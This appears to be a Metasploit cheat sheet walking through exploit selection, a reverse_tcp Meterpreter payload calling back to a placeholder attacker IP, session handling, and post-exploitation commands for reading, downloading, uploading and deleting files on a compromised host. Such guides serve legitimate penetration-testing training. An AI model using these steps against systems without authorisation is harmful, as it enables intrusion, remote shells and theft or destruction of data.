To start Metasploit, open a terminal and run:
msfconsoleIf you encounter a database error, you might need to enable the PostgreSQL service:
service postgresql start
service metasploit start
msfconsole-
Picking an Exploit
To list all available exploits:
msf> show exploitsYou can use the
searchcommand to find exploits more quickly:msf> help search
Select an exploit using:
msf> use "name of exploit" msf> info "name of exploit"
-
Setting Exploit Options
Choose the right exploit and configure its options:
msf> set RHOSTS target_ip msf> set RPORT target_port
-
Picking a Payload
List available payloads:
msf> show payloadsSelect a payload, e.g.,
reverse_tcp:msf> set payload windows/meterpreter/reverse_tcp
-
Setting Payload Options
Display payload options:
msf> show optionsSet payload options (e.g.,
LHOST):msf> set LHOST attacker_ip
-
Running the Exploit
Run the exploit:
msf> exploit -
Connecting to the Remote System
List available sessions:
msf> sessionsConnect to a session:
msf> sessions -i session_idSwitch to the Meterpreter prompt:
meterpreter> -
Performing Post Exploitation Process
Use various Meterpreter commands for post-exploitation tasks.
Meterpreter is a powerful shell for post-exploitation tasks.
meterpreter> background # Background the session
meterpreter> sessions -i session_id # Return to a backgrounded session
meterpreter> load module_name # Load additional modules
meterpreter> run module_name # Run loaded module
meterpreter> exit # Exit Meterpretermeterpreter> cat file_path # Read file contents
meterpreter> cd directory_path # Change directory
meterpreter> download remote_file local_path # Download a file
meterpreter> upload local_file remote_path # Upload a file
meterpreter> ls # List files
meterpreter> pwd # Print working directory
meterpreter> mkdir directory_name # Create a directory
meterpreter> rm file_path # Remove a file
meterpreter> rmdir directory_path # Remove a directory